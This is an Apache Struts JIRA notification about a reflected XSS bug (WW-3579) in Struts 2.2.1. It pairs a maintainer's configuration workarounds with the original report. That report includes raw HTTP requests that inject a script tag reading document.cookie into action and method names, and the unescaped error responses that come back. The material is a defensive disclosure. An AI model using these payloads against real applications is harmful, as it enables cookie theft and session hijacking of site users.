You are viewing a plain text version of this content. The canonical link for it is here.
Posted to issues@struts.apache.org by "Lukasz Lenart (JIRA)" <ji...@apache.org> on 2011/02/22 12:28:38 UTC
[jira] Commented: (WW-3579) XSS vulnerability
[ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12997750#comment-12997750 ]
Lukasz Lenart commented on WW-3579:
-----------------------------------
There are two workarounds:
1. disable Dynamic Method Invocation adding to struts.xml the line below:
<constant name="struts.enable.DynamicMethodInvocation" value="false" />
2. Second options is define a custom global exceptions mapping in struts.xml, as below:
/* struts.xml */
<global-results>
<result name="error">/error.jsp</result>
</global-results>
<global-exception-mappings>
<exception-mapping exception="java.lang.Exception" result="error"/>
</global-exception-mappings>
/* error.jsp */
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head><title>Simple jsp page</title></head>
<body>
<h3>Exception:</h3>
<s:property value="exception"/>
<h3>Stack trace:</h3>
<pre>
<s:property value="exceptionStack"/>
</pre>
</body>
</html>
> <s:submit> XSS vulnerability
> ----------------------------
>
> Key: WW-3579
> URL: https://issues.apache.org/jira/browse/WW-3579
> Project: Struts 2
> Issue Type: Bug
> Affects Versions: 2.2.1
> Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
> Reporter: Marian Ventuneac
> Assignee: Lukasz Lenart
> Labels: security
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met:
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings> AND
> - Dynamic Method Invocation is enabled (this is enabled by default) AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods AND (
> - the called method is not defined in the action implementation class OR
> - the called action is not matching one already defined in struts.xml )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method.
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
> "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
> "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
> <constant name="struts.devMode" value="false" />
> <constant name="struts.i18n.encoding" value="UTF-8" />
> <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
> <constant name="struts.action.extension" value="html" />
> <constant name="struts.ui.theme" value="simple"/>
> <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
> <constant name="struts.multipart.maxSize" value="26214400"/>
>
> <!-- Include Struts defaults -->
> <include file="struts-default.xml" />
>
> <!-- Configuration for the default package. -->
> <package name="default" extends="struts-default">
>
> ...
> <global-results>
> <result name="login" type="redirectAction">home</result>
> <result name="sslError">/error.jsp</result>
> </global-results>
>
> ...
>
> <action name="login" class="some_path.action.LoginAction">
> <param name="fieldSetNames">...</param>
> <result name="input">/WEB-INF/pages/home.jsp</result>
> <result name="error">/WEB-INF/pages/home.jsp</result>
> <result name="cantlogin" type="redirectAction">
> <param name="actionName">cantlogin</param>
> <param name="userId">${userId}</param>
> </result>
> <result name="proceed" type="redirect">landing.html</result>
> </action>
>
>
> </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
> public static final String CANTLOGIN = "cantlogin";
> ...
> public String cantLogin(){
> String returnType = ERROR;
> try {
> ...
> returnType = CANTLOGIN;
> } catch (CException ce) {
> setMessage(getText(ce.getErrorCode().trim()));
> }catch (Exception e) {
> setMessage(getText("ERR_GENERIC"));
> }
> return returnType;
> }
> public String doLogin() {
> String returnType = ERROR;
> try {
> ...
> } catch (CException ce) {
> setMessage(getText(ce.getErrorCode().trim()));
> } catch (Exception e) {
> setMessage(getText("ERR_GENERIC"));
> }
> return returnType;
> }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
> <form name="loginform" id="loginform" method="post" action="">
> ...
> <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
> <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
> </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class.
> In HTML code this is rendered using the bash syntax as shown below:
> ...
> <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>
> </div>
> </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html).
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case).
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html).
> This allows successful reflected XSS attacks using <s:submit> tag.
--
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira